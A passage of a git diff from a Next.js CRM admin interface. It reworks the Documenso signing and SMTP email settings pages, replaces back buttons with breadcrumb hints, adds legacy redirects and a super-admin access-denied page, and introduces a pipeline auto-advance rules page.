-        description="API credentials, signer identities, and document generation behaviour. Use the test-connection button to verify a saved configuration before relying on it."
+        title="Signing service (Documenso)"
+        description="API credentials, signer identities, templates, and signing behaviour for every document the CRM puts out for signature (EOI, reservation, contract, custom uploads). Use the test-connection button to verify a saved configuration before relying on it."
       />
 
       <Card>
         <CardHeader>
           <CardTitle className="flex items-center gap-2 text-base">
             <Info className="h-4 w-4" aria-hidden="true" />
-            v1 vs v2 — what changes when you flip the API version
+            v1 vs v2 - what changes when you flip the API version
           </CardTitle>
         </CardHeader>
         <CardContent className="space-y-4 text-sm">
           <p className="text-muted-foreground">
             The CRM supports both Documenso 1.13.x (v1) and 2.x (v2). v1 is the default for
             backwards compatibility. v2 is recommended for new ports and unlocks the features below.
-            Switching versions does <strong>not</strong> require any code changes — version-aware
+            Switching versions does <strong>not</strong> require any code changes - version-aware
             client methods pick the right endpoint per port. Switch, save, then run the
             test-connection button to confirm the chosen instance is actually on the matching
             Documenso version.
@@ -252,7 +62,7 @@ export default function DocumensoSettingsPage() {
                 />
                 <span>
                   <strong>Percent-based field coordinates.</strong> No page-dimension lookup needed
-                  — coordinates are portable across page sizes. v1 requires us to assume A4 for
+                  - coordinates are portable across page sizes. v1 requires us to assume A4 for
                   auto-placed fields.
                 </span>
               </li>
@@ -263,7 +73,7 @@ export default function DocumensoSettingsPage() {
                 />
                 <span>
                   <strong>Richer field metadata.</strong> TEXT labels &amp; required flags, NUMBER
-                  min/max + format, CHECKBOX/DROPDOWN/RADIO option lists with defaults — all ignored
+                  min/max + format, CHECKBOX/DROPDOWN/RADIO option lists with defaults - all ignored
                   by v1, surfaced by v2 in the signing UI.
                 </span>
               </li>
@@ -275,7 +85,7 @@ export default function DocumensoSettingsPage() {
                 <span>
                   <strong>v2-flavoured webhook events.</strong> <code>RECIPIENT_VIEWED</code>,{' '}
                   <code>RECIPIENT_SIGNED</code>, <code>DOCUMENT_RECIPIENT_COMPLETED</code>,{' '}
-                  <code>DOCUMENT_DECLINED</code>, <code>DOCUMENT_REMINDER_SENT</code> — all routed
+                  <code>DOCUMENT_DECLINED</code>, <code>DOCUMENT_REMINDER_SENT</code> - all routed
                   through the same dedup + audit pipeline as v1 events.
                 </span>
               </li>
@@ -288,9 +98,9 @@ export default function DocumensoSettingsPage() {
                   <strong>Envelope CRUD endpoints.</strong> <code>GET</code>, <code>DELETE</code>,
                   <code>POST /envelope/create</code> (multipart),{' '}
                   <code>POST /envelope/distribute</code>, <code>POST /envelope/redistribute</code>,{' '}
-                  <code>GET /envelope/{'{id}'}/download</code> — all routed through{' '}
+                  <code>GET /envelope/{'{id}'}/download</code> - all routed through{' '}
                   <code>/api/v2/envelope/...</code> when v2 is selected. The template-generate path
-                  is intentionally still v1 (relies on Documenso 2.x&apos;s backward-compat window —
+                  is intentionally still v1 (relies on Documenso 2.x&apos;s backward-compat window -
                   see the deferred-roadmap below).
                 </span>
               </li>
@@ -301,7 +111,7 @@ export default function DocumensoSettingsPage() {
                 />
                 <span>
                   <strong>One-call send.</strong> v2&apos;s <code>/envelope/distribute</code>{' '}
-                  returns per-recipient <code>signingUrl</code> in the same response — v1 requires a
+                  returns per-recipient <code>signingUrl</code> in the same response - v1 requires a
                   separate GET to fetch them. Faster send flow on the rep side.
                 </span>
               </li>
@@ -327,7 +137,7 @@ export default function DocumensoSettingsPage() {
                   behaviour&quot; card; Documenso redirects the signer to that URL after they
                   complete signing. Use to land clients on the marketing site&apos;s success page or
                   back in the portal instead of Documenso&apos;s default thank-you page. (v1 honours
-                  this too — listed here because the admin setting was added with the v2 work.)
+                  this too - listed here because the admin setting was added with the v2 work.)
                 </span>
               </li>
             </ul>
@@ -342,7 +152,7 @@ export default function DocumensoSettingsPage() {
                 <strong>
                   Single-shot <code>/template/use</code>
                 </strong>{' '}
-                with v2 <code>prefillFields</code> by ID — current EOI flow uses{' '}
+                with v2 <code>prefillFields</code> by ID - current EOI flow uses{' '}
                 <code>/api/v1/templates/{'{id}'}/generate-document</code> with{' '}
                 <code>formValues</code> keyed by name. v2 instances accept both during their
                 backward-compat window; full migration requires per-template field-ID capture in
@@ -352,59 +162,52 @@ export default function DocumensoSettingsPage() {
                 <strong>
                   Update envelope metadata after creation (<code>/envelope/update</code>)
                 </strong>{' '}
-                — change title / subject / redirectUrl on a doc already in DRAFT/PENDING without
+                - change title / subject / redirectUrl on a doc already in DRAFT/PENDING without
                 re-generating.
               </li>
               <li>
-                <strong>Non-SIGNER recipient roles (CC / VIEWER)</strong> — APPROVER role is already
+                <strong>Non-SIGNER recipient roles (CC / VIEWER)</strong> - APPROVER role is already
                 used by the EOI template; CC + VIEWER not yet exposed in the recipient builder.
                 Useful for sales managers who want a copy without a signature slot.
               </li>
             </ul>
             <p className="mt-2 text-xs text-muted-foreground">
-              Sequential signing and post-signing redirect URL <strong>are now wired</strong> — see
+              Sequential signing and post-signing redirect URL <strong>are now wired</strong> - see
               the new &quot;v2 signing behaviour&quot; card below to configure them.
             </p>
           </div>
         </CardContent>
       </Card>
 
-      <SettingsFormCard
+      <RegistryDrivenForm
         title="Documenso API"
-        description="Per-port API credentials. Leave blank to use the global env defaults."
-        fields={API_FIELDS}
+        description="Per-port API credentials. AES-encrypted at rest. Leave blank to inherit from the env fallback (badged below each field)."
+        sections={['documenso.api']}
         extra={<DocumensoTestButton />}
       />
 
-      <SettingsFormCard
-        title="v2 signing behaviour"
+      <RegistryDrivenForm
+        sections={['documenso.behavior']}
+        title="Signing behaviour"
         description="Cross-cutting settings that apply to EOIs + uploaded contracts/reservations. Sequential signing is v2-only (v1 instances ignore it). Redirect URL is honoured by both v1 and v2 instances."
-        fields={V2_FEATURE_FIELDS}
       />
 
-      <SettingsFormCard
+      <RegistryDrivenForm
+        sections={['documenso.signers']}
         title="Signers (developer + approver)"
-        description="Identity of the static signers in your Documenso templates. The client is always pulled from the interest's linked client record; these values fill the developer (signing order 2) and approver (signing order 3) slots."
-        fields={SIGNER_FIELDS}
+        description="Identity bound to the developer (signing order 2) and approver (signing order 3) slots in your Documenso templates. Leave name + email blank to fall through to whatever you set on the Documenso template itself; set them here to override the template's stored values at send time. Recipient IDs are populated automatically by 'Sync from Documenso' below. Linking a CRM user is optional  -  when set, the platform fires an in-CRM notification for that user when it's their turn to sign."
       />
 
-      <SettingsFormCard
-        title="EOI generation"
-        description="Default pathway, template, and email behaviour when an interest's EOI is generated."
-        fields={EOI_FIELDS}
+      <RegistryDrivenForm
+        sections={['documenso.templates']}
+        title="Templates & signing pathway"
+        description="Default pathway, template IDs, and email behaviour for EOIs, reservations, and contracts. Recipient + field discovery happens via 'Sync from Documenso' below - that also populates the EOI template ID for you. Most ports leave the reservation/contract template IDs blank because those are typically drafted per interest and uploaded for signing; set them only if you maintain standardised Documenso templates for them."
+        extra={<TemplateSyncButton />}
       />
 
-      <SettingsFormCard
-        title="Contract & reservation templates (optional)"
-        description="Most ports leave these blank because contracts/reservations are drafted per interest and uploaded for signing. Set a template ID only if you have a standardised contract/reservation Documenso template."
-        fields={CONTRACT_RESERVATION_FIELDS}
-      />
+      <EmbeddedSigningCard />
 
-      <SettingsFormCard
-        title="Embedded signing"
-        description="Where the public-facing branded signing pages live. The CRM rewrites Documenso signing URLs to point here when sending invitation and reminder emails."
-        fields={EMBED_FIELDS}
-      />
+      <WebhookHealthCard />
     </div>
   );
 }

src/app/(dashboard)/[portSlug]/admin/email/page.tsx

@@ -1,67 +1,11 @@
-import {
-  SettingsFormCard,
-  type SettingFieldDef,
-} from '@/components/admin/shared/settings-form-card';
+import { Info } from 'lucide-react';
+
 import { PageHeader } from '@/components/shared/page-header';
+import { RegistryDrivenForm } from '@/components/admin/shared/registry-driven-form';
 import { SalesEmailConfigCard } from '@/components/admin/sales-email-config-card';
 import { EmailRoutingCard } from '@/components/admin/email-routing-card';
-
-const FIELDS: SettingFieldDef[] = [
-  {
-    key: 'email_from_name',
-    label: 'From name',
-    description: 'Display name shown in the From: header on outgoing email.',
-    type: 'string',
-    placeholder: 'Port Nimara',
-    defaultValue: '',
-  },
-  {
-    key: 'email_from_address',
-    label: 'From address',
-    description: 'Sender email address. Falls back to SMTP_FROM env when blank.',
-    type: 'string',
-    placeholder: 'noreply@example.com',
-    defaultValue: '',
-  },
-  {
-    key: 'email_reply_to',
-    label: 'Reply-to address',
-    description: 'Optional Reply-To: header for replies (e.g. sales@example.com).',
-    type: 'string',
-    placeholder: 'sales@example.com',
-    defaultValue: '',
-  },
-  {
-    key: 'smtp_host_override',
-    label: 'SMTP host override',
-    description: 'Optional. Falls back to SMTP_HOST env when blank.',
-    type: 'string',
-    placeholder: 'mail.example.com',
-    defaultValue: '',
-  },
-  {
-    key: 'smtp_port_override',
-    label: 'SMTP port override',
-    description: 'Optional. Falls back to SMTP_PORT env when blank.',
-    type: 'number',
-    placeholder: '587',
-    defaultValue: null,
-  },
-  {
-    key: 'smtp_user_override',
-    label: 'SMTP username override',
-    description: 'Optional. Falls back to SMTP_USER env when blank.',
-    type: 'string',
-    defaultValue: '',
-  },
-  {
-    key: 'smtp_pass_override',
-    label: 'SMTP password override',
-    description: 'Optional. Stored in plain text - only set when overriding env credentials.',
-    type: 'password',
-    defaultValue: '',
-  },
-];
+import { SmtpTestSendCard } from '@/components/admin/email/smtp-test-send-card';
+import { TestTemplateCard } from '@/components/admin/email/test-template-card';
 
 export default function EmailSettingsPage() {
   return (
@@ -70,16 +14,46 @@ export default function EmailSettingsPage() {
         title="Email Settings"
         description="Per-port outgoing email configuration. SMTP credentials and the From address default to environment variables when these fields are blank. Header/footer HTML lives under Branding."
       />
-      <SettingsFormCard
-        title="From address"
-        description="Identity headers used by system-generated emails."
-        fields={FIELDS.slice(0, 3)}
+
+      {/* Explainer for the "two accounts" model - addresses the recurring
+          UAT question "why are there separate SMTP credentials for sales
+          and noreply?". Keeps the answer in front of the admin before
+          they reach the per-card form below. */}
+      <div className="rounded-md border border-border bg-muted/40 px-4 py-3 text-sm">
+        <div className="flex items-start gap-2">
+          <Info className="mt-0.5 size-4 shrink-0 text-muted-foreground" aria-hidden />
+          <div className="space-y-1 text-muted-foreground">
+            <p>
+              <strong className="text-foreground">Why two accounts?</strong> Transactional emails
+              (signing invites, notifications, password resets) ship from your noreply mailbox over
+              the SMTP credentials below. Rep-authored sales emails (one-off messages, proposal
+              sends) ship from the sales mailbox with separate credentials so replies land in a
+              human-monitored inbox.
+            </p>
+            <p>
+              The noreply credentials are also used by the supplemental-info workflow + portal
+              activation, i.e. anywhere the platform sends on its own initiative. The sales
+              credentials are only used when a rep clicks Send in the compose UI.
+            </p>
+          </div>
+        </div>
+      </div>
+
+      {/* Registry-driven so each field shows the "Using env fallback /
+          port / global / default" badge inline - admins can tell at a
+          glance which fields are coming from .env vs. UI overrides. */}
+      <RegistryDrivenForm
+        sections={['email.from']}
+        title="From address (noreply)"
+        description="Identity headers used by system-generated emails. Set the From + Reply-To here; the matching SMTP credentials live in the next card."
       />
-      <SettingsFormCard
-        title="SMTP transport overrides"
-        description="Optional per-port SMTP credentials. Leave blank to use the global env defaults."
-        fields={FIELDS.slice(3)}
+      <RegistryDrivenForm
+        sections={['email.smtp']}
+        title="SMTP transport overrides (noreply)"
+        description="Optional per-port SMTP credentials for the noreply mailbox. Leave blank to use the global env defaults. Each field shows its current source (env / port / default) so you can tell what's active without checking the deploy."
       />
+      <SmtpTestSendCard />
+      <TestTemplateCard />
       <SalesEmailConfigCard />
       <EmailRoutingCard />
     </div>

src/app/(dashboard)/[portSlug]/admin/errors/[requestId]/page.tsx

@@ -4,17 +4,18 @@ import Link from 'next/link';
 import { useParams } from 'next/navigation';
 import { useQuery } from '@tanstack/react-query';
 import { format } from 'date-fns';
-import { ArrowLeft, Copy, Wrench } from 'lucide-react';
+import { Copy, Wrench } from 'lucide-react';
 import { toast } from 'sonner';
 
 import type { Route } from 'next';
 
 import { Badge } from '@/components/ui/badge';
-import { ERROR_CODES, isErrorCode } from '@/lib/error-codes';
 import { Button } from '@/components/ui/button';
+import { ERROR_CODES, isErrorCode } from '@/lib/error-codes';
 import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
 import { Skeleton } from '@/components/ui/skeleton';
 import { apiFetch } from '@/lib/api/client';
+import { useBreadcrumbHint } from '@/hooks/use-breadcrumb-hint';
 import type { ErrorEvent } from '@/lib/db/schema/system';
 import type { LikelyCulprit } from '@/lib/error-classifier';
 
@@ -36,6 +37,17 @@ export default function ErrorEventDetailPage() {
   const portSlug = params?.portSlug ?? '';
   const requestId = params?.requestId ?? '';
 
+  // Smart-back target: send the user back to the error list, not the
+  // generic Administration page that URL-derivation would land on.
+  useBreadcrumbHint(
+    portSlug
+      ? {
+          parents: [{ label: 'Error inspector', href: `/${portSlug}/admin/errors` }],
+          current: `Error ${requestId.slice(0, 8)}…`,
+        }
+      : null,
+  );
+
   const query = useQuery<DetailResponse>({
     queryKey: ['admin', 'error-events', requestId],
     queryFn: () => apiFetch<DetailResponse>(`/api/v1/admin/error-events/${requestId}`),
@@ -71,15 +83,6 @@ export default function ErrorEventDetailPage() {
 
   return (
     <div className="space-y-4">
-      <div>
-        <Button variant="ghost" size="sm" asChild>
-          <Link href={`/${portSlug}/admin/errors` as Route}>
-            <ArrowLeft className="mr-1.5 h-4 w-4" />
-            Back to error list
-          </Link>
-        </Button>
-      </div>
-
       <div className="flex items-center gap-2 flex-wrap">
         <h1 className="text-2xl font-bold">Error {requestId.slice(0, 8)}…</h1>
         <Badge
@@ -163,11 +166,11 @@ export default function ErrorEventDetailPage() {
           <KV label="Method" value={event.method} />
           <KV label="Path" value={event.path} mono />
           <KV label="When" value={format(new Date(event.createdAt), 'PPpp')} />
-          <KV label="Duration" value={event.durationMs ? `${event.durationMs} ms` : '—'} />
+          <KV label="Duration" value={event.durationMs ? `${event.durationMs} ms` : '-'} />
           <KV label="Port" value={event.portId ?? '(none)'} mono />
           <KV label="User" value={event.userId ?? '(none)'} mono />
-          <KV label="IP" value={event.ipAddress ?? '—'} mono />
-          <KV label="User agent" value={event.userAgent ?? '—'} />
+          <KV label="IP" value={event.ipAddress ?? '-'} mono />
+          <KV label="User agent" value={event.userAgent ?? '-'} />
         </CardContent>
       </Card>
 
@@ -176,11 +179,11 @@ export default function ErrorEventDetailPage() {
           <CardTitle className="text-sm font-medium">Error</CardTitle>
         </CardHeader>
         <CardContent className="space-y-3 text-sm">
-          <KV label="Name" value={event.errorName ?? '—'} mono />
+          <KV label="Name" value={event.errorName ?? '-'} mono />
           <div>
             <p className="text-xs text-muted-foreground">Message</p>
             <p className="mt-0.5 font-mono whitespace-pre-wrap wrap-break-word">
-              {event.errorMessage ?? '—'}
+              {event.errorMessage ?? '-'}
             </p>
           </div>
           {event.errorStack && (
@@ -240,7 +243,7 @@ function KV({ label, value, mono }: { label: string; value: string | null; mono?
   return (
     <div>
       <p className="text-xs text-muted-foreground">{label}</p>
-      <p className={`mt-0.5 ${mono ? 'font-mono text-xs' : ''}`}>{value ?? '—'}</p>
+      <p className={`mt-0.5 ${mono ? 'font-mono text-xs' : ''}`}>{value ?? '-'}</p>
     </div>
   );
 }

src/app/(dashboard)/[portSlug]/admin/errors/codes/page.tsx

@@ -1,16 +1,13 @@
 'use client';
 
 import { useState, useMemo } from 'react';
-import Link from 'next/link';
 import { useParams } from 'next/navigation';
-import { ArrowLeft, BookOpen, Search } from 'lucide-react';
-
-import type { Route } from 'next';
+import { BookOpen, Search } from 'lucide-react';
 
 import { Badge } from '@/components/ui/badge';
-import { Button } from '@/components/ui/button';
 import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
 import { Input } from '@/components/ui/input';
+import { useBreadcrumbHint } from '@/hooks/use-breadcrumb-hint';
 import { ERROR_CODES } from '@/lib/error-codes';
 
 /**
@@ -20,13 +17,24 @@ import { ERROR_CODES } from '@/lib/error-codes';
  * plain-language meaning + status code without leaving the app.
  *
  * Pulls directly from `src/lib/error-codes.ts` so it stays in sync
- * automatically — adding an entry to the registry adds a row here.
+ * automatically - adding an entry to the registry adds a row here.
  */
 export default function ErrorCodeReferencePage() {
   const params = useParams<{ portSlug: string }>();
   const portSlug = params?.portSlug ?? '';
   const [search, setSearch] = useState('');
 
+  // Smart-back target: send the user back to the error inspector, not
+  // the generic Administration page URL-derivation would land on.
+  useBreadcrumbHint(
+    portSlug
+      ? {
+          parents: [{ label: 'Error inspector', href: `/${portSlug}/admin/errors` }],
+          current: 'Error code reference',
+        }
+      : null,
+  );
+
   const entries = useMemo(() => {
     const all = Object.entries(ERROR_CODES) as Array<
       [string, (typeof ERROR_CODES)[keyof typeof ERROR_CODES]]
@@ -39,7 +47,7 @@ export default function ErrorCodeReferencePage() {
   }, [search]);
 
   // Group by domain prefix (the part before the first underscore) so
-  // the table reads naturally — Expenses, Berths, Storage, etc.
+  // the table reads naturally - Expenses, Berths, Storage, etc.
   const grouped = useMemo(() => {
     const groups = new Map<string, typeof entries>();
     for (const entry of entries) {
@@ -53,15 +61,6 @@ export default function ErrorCodeReferencePage() {
 
   return (
     <div className="space-y-4">
-      <div className="flex items-center gap-2">
-        <Button variant="ghost" size="sm" asChild>
-          <Link href={`/${portSlug}/admin/errors` as Route}>
-            <ArrowLeft className="mr-1.5 h-4 w-4" />
-            Back to error inspector
-          </Link>
-        </Button>
-      </div>
-
       <div className="flex items-start justify-between gap-4 flex-wrap">
         <div>
           <h1 className="text-2xl font-bold flex items-center gap-2">
@@ -69,7 +68,7 @@ export default function ErrorCodeReferencePage() {
           </h1>
           <p className="text-muted-foreground text-sm mt-1">
             Every error code the platform can return, with its HTTP status and the plain-language
-            message a user sees. Codes are stable identifiers — once shipped, they never get
+            message a user sees. Codes are stable identifiers - once shipped, they never get
             renamed.
           </p>
         </div>

src/app/(dashboard)/[portSlug]/admin/import/page.tsx

@@ -62,7 +62,7 @@ export default function DataImportPage() {
               <li>Dry-run preview that shows new vs. matched-existing rows before commit.</li>
               <li>Conflict-resolution choices (skip, update, dedup-by-email) per import type.</li>
               <li>Per-port import history with rollback.</li>
-              <li>Templates for clients, yachts, companies, berths, reservations, expenses.</li>
+              <li>Templates for clients, yachts, companies, berths, tenancies, expenses.</li>
             </ul>
             <p className="text-xs text-muted-foreground pt-2">
               Imports run against the BullMQ <code>import</code> queue (concurrency 1) so partial

src/app/(dashboard)/[portSlug]/admin/invitations/page.tsx

@@ -1,14 +1,15 @@
-import { InvitationsManager } from '@/components/admin/invitations/invitations-manager';
-import { PageHeader } from '@/components/shared/page-header';
+import { redirect } from 'next/navigation';
 
-export default function InvitationsPage() {
-  return (
-    <div className="space-y-6">
-      <PageHeader
-        title="Invitations"
-        description="Send a single-use invitation to a new CRM user. The recipient sets their own password via the link in the email."
-      />
-      <InvitationsManager />
-    </div>
-  );
+/**
+ * 2026-05-21: /admin/invitations was merged into /admin/users (Users +
+ * Invitations tabs on a single page). This stub keeps old bookmarks +
+ * external links working by redirecting to the canonical destination.
+ */
+export default async function InvitationsRedirectPage({
+  params,
+}: {
+  params: Promise<{ portSlug: string }>;
+}) {
+  const { portSlug } = await params;
+  redirect(`/${portSlug}/admin/users`);
 }

src/app/(dashboard)/[portSlug]/admin/layout.tsx

@@ -1,14 +1,23 @@
+import Link from 'next/link';
 import { redirect } from 'next/navigation';
 import { headers } from 'next/headers';
 import { eq } from 'drizzle-orm';
+import { ShieldX } from 'lucide-react';
 
 import { auth } from '@/lib/auth';
 import { db } from '@/lib/db';
 import { userProfiles } from '@/lib/db/schema/users';
+import { Button } from '@/components/ui/button';
 
 /**
- * Guard: only super-admins (isSuperAdmin === true in user_profiles) may access
- * any page under /[portSlug]/admin. Everyone else is redirected to their dashboard.
+ * Guard: only super-admins (isSuperAdmin === true in user_profiles) may
+ * access any page under /[portSlug]/admin.
+ *
+ * H-15: previously this layout silently redirected non-admins to
+ * `/dashboard`, which left them staring at the dashboard with no
+ * explanation of why their bookmark / shared admin link "didn't work".
+ * Render an explicit 403 page instead so the URL stays on the failed
+ * route and the user can see why their request was denied.
  */
 export default async function AdminLayout({
   children,
@@ -29,7 +38,23 @@ export default async function AdminLayout({
   });
 
   if (!profile?.isSuperAdmin) {
-    redirect(`/${portSlug}/dashboard`);
+    return (
+      <div className="flex min-h-[60vh] flex-col items-center justify-center gap-4 px-4 text-center">
+        <div className="flex h-14 w-14 items-center justify-center rounded-full bg-destructive/10">
+          <ShieldX className="h-7 w-7 text-destructive" aria-hidden />
+        </div>
+        <div className="space-y-1">
+          <h1 className="text-xl font-semibold">Access denied</h1>
+          <p className="max-w-md text-sm text-muted-foreground">
+            This area is for super-administrators only. If you believe you should have access, ask
+            an administrator to grant the super-admin role on your account.
+          </p>
+        </div>
+        <Button asChild>
+          <Link href={`/${portSlug}/dashboard`}>Back to dashboard</Link>
+        </Button>
+      </div>
+    );
   }
 
   return <>{children}</>;

src/app/(dashboard)/[portSlug]/admin/ocr/page.tsx

@@ -1,5 +1,19 @@
-import { OcrSettingsForm } from '@/components/admin/ocr-settings-form';
+import { redirect } from 'next/navigation';
 
-export default function OcrSettingsPage() {
-  return <OcrSettingsForm />;
+/**
+ * Legacy route. OCR settings now live on the consolidated AI panel at
+ * `/admin/ai` (the same `<OcrSettingsForm>` is mounted there alongside
+ * the master AI switch + provider credentials). Kept as a redirect-only
+ * page so any bookmarks / docs / deep links land on the right surface.
+ *
+ * Slated for full removal once the 2026-05-22 admin IA migration has
+ * had a quarter to bed in.
+ */
+export default async function OcrLegacyRedirectPage({
+  params,
+}: {
+  params: Promise<{ portSlug: string }>;
+}) {
+  const { portSlug } = await params;
+  redirect(`/${portSlug}/admin/ai`);
 }

src/app/(dashboard)/[portSlug]/admin/pipeline-rules/page.tsx

@@ -0,0 +1,264 @@
+'use client';
+
+import { useEffect, useState } from 'react';
+import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query';
+import { Loader2, Save } from 'lucide-react';
+import { toast } from 'sonner';
+
+import { PageHeader } from '@/components/shared/page-header';
+import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
+import { Button } from '@/components/ui/button';
+import { Label } from '@/components/ui/label';
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select';
+import { apiFetch } from '@/lib/api/client';
+import { toastError } from '@/lib/api/toast-error';
+
+type Mode = 'auto' | 'suggest' | 'off';
+
+const TRIGGERS: Array<{
+  key: string;
+  label: string;
+  description: string;
+  defaultMode: Mode;
+}> = [
+  {
+    key: 'eoi_sent',
+    label: 'EOI sent',
+    description: 'Rep generates an EOI for signing  -  moves the deal to "EOI" stage.',
+    defaultMode: 'auto',
+  },
+  {
+    key: 'eoi_signed',
+    label: 'EOI signed (all parties)',
+    description:
+      'All signatories complete the EOI  -  moves the deal to "Reservation" stage. Conventional CRM behaviour.',
+    defaultMode: 'auto',
+  },
+  {
+    key: 'reservation_signed',
+    label: 'Reservation agreement signed',
+    description:
+      'Reservation paperwork signed by all parties  -  keeps the deal at "Reservation" with sub-status signed.',
+    defaultMode: 'auto',
+  },
+  {
+    key: 'deposit_received',
+    label: 'Deposit received in full',
+    description:
+      'Deposit total reaches the expected amount  -  moves the deal to "Deposit Paid" stage.',
+    defaultMode: 'auto',
+  },
+  {
+    key: 'contract_signed',
+    label: 'Sales contract signed',
+    description: 'Final contract signed by all parties  -  moves the deal to "Contract" stage.',
+    defaultMode: 'auto',
+  },
+];
+
+const PRESETS = {
+  aggressive: 'auto',
+  conservative: 'suggest',
+} as const;
+type PresetName = keyof typeof PRESETS;
+
+export default function PipelineRulesPage() {
+  const queryClient = useQueryClient();
+  const [rules, setRules] = useState<Record<string, Mode>>(() =>
+    Object.fromEntries(TRIGGERS.map((t) => [t.key, t.defaultMode])),
+  );
+
+  const { data, isLoading } = useQuery<{
+    data: { values: Record<string, { value?: Record<string, Mode> | null }> };
+  }>({
+    queryKey: ['admin', 'settings', 'pipeline.auto_advance'],
+    queryFn: () =>
+      apiFetch<{
+        data: { values: Record<string, { value?: Record<string, Mode> | null }> };
+      }>('/api/v1/admin/settings/resolved?sections=pipeline.auto_advance'),
+  });
+
+  // Hydrate the local form once the server-side state arrives. We treat
+  // missing keys as the registered default - the page's persisted JSON
+  // doesn't have to enumerate every trigger, just the overrides.
+  useEffect(() => {
+    const persisted = data?.data?.values?.stage_advance_rules?.value;
+    if (!persisted || typeof persisted !== 'object') return;
+    // eslint-disable-next-line react-hooks/set-state-in-effect
+    setRules((prev) => {
+      const next = { ...prev };
+      for (const t of TRIGGERS) {
+        const v = persisted[t.key];
+        if (v === 'auto' || v === 'suggest' || v === 'off') next[t.key] = v;
+      }
+      return next;
+    });
+  }, [data]);
+
+  const saveMutation = useMutation({
+    mutationFn: () =>
+      apiFetch('/api/v1/admin/settings/stage_advance_rules', {
+        method: 'PUT',
+        body: { value: rules },
+      }),
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: ['admin', 'settings'] });
+      toast.success('Pipeline rules saved.');
+    },
+    onError: (err) => toastError(err),
+  });
+
+  const applyPreset = (preset: PresetName) => {
+    const target = PRESETS[preset];
+    setRules(Object.fromEntries(TRIGGERS.map((t) => [t.key, target])));
+  };
+
+  const setMode = (key: string, mode: Mode) => {
+    setRules((prev) => ({ ...prev, [key]: mode }));
+  };
+
+  const allMatch = (mode: Mode) => TRIGGERS.every((t) => rules[t.key] === mode);
+  const currentPreset: PresetName | 'custom' = allMatch('auto')
+    ? 'aggressive'
+    : allMatch('suggest')
+      ? 'conservative'
+      : 'custom';
+
+  return (
+    <div className="space-y-6">
+      <PageHeader
+        title="Pipeline auto-advance rules"
+        description="Control which lifecycle events (signing, payments) automatically advance the deal stage on the kanban. Choose a preset or fine-tune per trigger."
+      />
+
+      <Card>
+        <CardHeader>
+          <CardTitle className="text-base">Preset</CardTitle>
+        </CardHeader>
+        <CardContent className="space-y-3">
+          <div className="grid gap-2 sm:grid-cols-3">
+            <PresetButton
+              name="aggressive"
+              label="Aggressive (default)"
+              description="Every trigger auto-advances the stage. Matches conventional CRM behaviour and saves rep clicks."
+              active={currentPreset === 'aggressive'}
+              onClick={() => applyPreset('aggressive')}
+            />
+            <PresetButton
+              name="conservative"
+              label="Conservative"
+              description="Every trigger sends a notification suggesting the move. Reps click Approve to advance."
+              active={currentPreset === 'conservative'}
+              onClick={() => applyPreset('conservative')}
+            />
+            <div
+              className={`rounded-lg border p-3 ${
+                currentPreset === 'custom'
+                  ? 'border-primary bg-primary/5'
+                  : 'border-muted bg-muted/20'
+              }`}
+            >
+              <p className="text-sm font-semibold">Custom</p>
+              <p className="text-xs text-muted-foreground">
+                Mix and match - the per-trigger toggles below override the preset.
+              </p>
+            </div>
+          </div>
+        </CardContent>
+      </Card>
+
+      <Card>
+        <CardHeader>
+          <CardTitle className="text-base">Per-trigger settings</CardTitle>
+        </CardHeader>
+        <CardContent className="space-y-4">
+          {isLoading ? (
+            <div className="flex items-center gap-2 text-sm text-muted-foreground">
+              <Loader2 className="size-3.5 animate-spin" aria-hidden /> Loading…
+            </div>
+          ) : (
+            TRIGGERS.map((t) => (
+              <div
+                key={t.key}
+                className="flex flex-col gap-2 rounded-md border p-3 sm:flex-row sm:items-center sm:justify-between"
+              >
+                <div className="flex-1">
+                  <p className="text-sm font-medium">{t.label}</p>
+                  <p className="text-xs text-muted-foreground">{t.description}</p>
+                </div>
+                <div className="flex items-center gap-2">
+                  <Label htmlFor={`mode-${t.key}`} className="sr-only">
+                    Mode
+                  </Label>
+                  <Select
+                    value={rules[t.key] ?? t.defaultMode}
+                    onValueChange={(v) => setMode(t.key, v as Mode)}
+                  >
+                    <SelectTrigger id={`mode-${t.key}`} className="w-40">
+                      <SelectValue />
+                    </SelectTrigger>
+                    <SelectContent>
+                      <SelectItem value="auto">Auto-advance</SelectItem>
+                      <SelectItem value="suggest">Suggest only</SelectItem>
+                      <SelectItem value="off">Off</SelectItem>
+                    </SelectContent>
+                  </Select>
+                </div>
+              </div>
+            ))
+          )}
+        </CardContent>
+      </Card>
+
+      <div className="flex justify-end">
+        <Button
+          onClick={() => saveMutation.mutate()}
+          disabled={saveMutation.isPending}
+          className="gap-1.5 [&_svg]:size-3.5"
+        >
+          {saveMutation.isPending ? <Loader2 className="animate-spin" aria-hidden /> : <Save />}
+          Save rules
+        </Button>
+      </div>
+    </div>
+  );
+}
+
+function PresetButton({
+  name,
+  label,
+  description,
+  active,
+  onClick,
+}: {
+  name: PresetName;
+  label: string;
+  description: string;
+  active: boolean;
+  onClick: () => void;
+}) {
+  return (
+    <button
+      type="button"
+      onClick={onClick}
+      className={`rounded-lg border p-3 text-left transition-colors ${
+        active
+          ? 'border-primary bg-primary/5 ring-2 ring-primary/40'
+          : 'border-muted hover:border-foreground/30 hover:bg-muted/30'
+      }`}
+      aria-pressed={active}
+    >
+      <p className="text-sm font-semibold">{label}</p>
+      <p className="text-xs text-muted-foreground">{description}</p>
+      <p className="mt-1 text-xs uppercase tracking-wide text-muted-foreground">
+        {name === 'aggressive' ? 'auto for all triggers' : 'suggest for all triggers'}
+      </p>
+    </button>
+  );
+}

src/app/(dashboard)/[portSlug]/admin/pulse/page.tsx

@@ -0,0 +1,51 @@
+import Link from 'next/link';
+import { Activity } from 'lucide-react';
+
+import { RegistryDrivenForm } from '@/components/admin/shared/registry-driven-form';
+import { PageHeader } from '@/components/shared/page-header';
+import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
+
+export default function PulseAdminPage() {
+  return (
+    <div className="space-y-6">
+      <PageHeader
+        title="Deal Pulse"
+        description="Tune the chip that scores every interest's health. Toggle the chip off entirely, disable individual signals you don't want surfaced, or rename the tier labels per your sales vocabulary."
+      />
+
+      <Card>
+        <CardHeader>
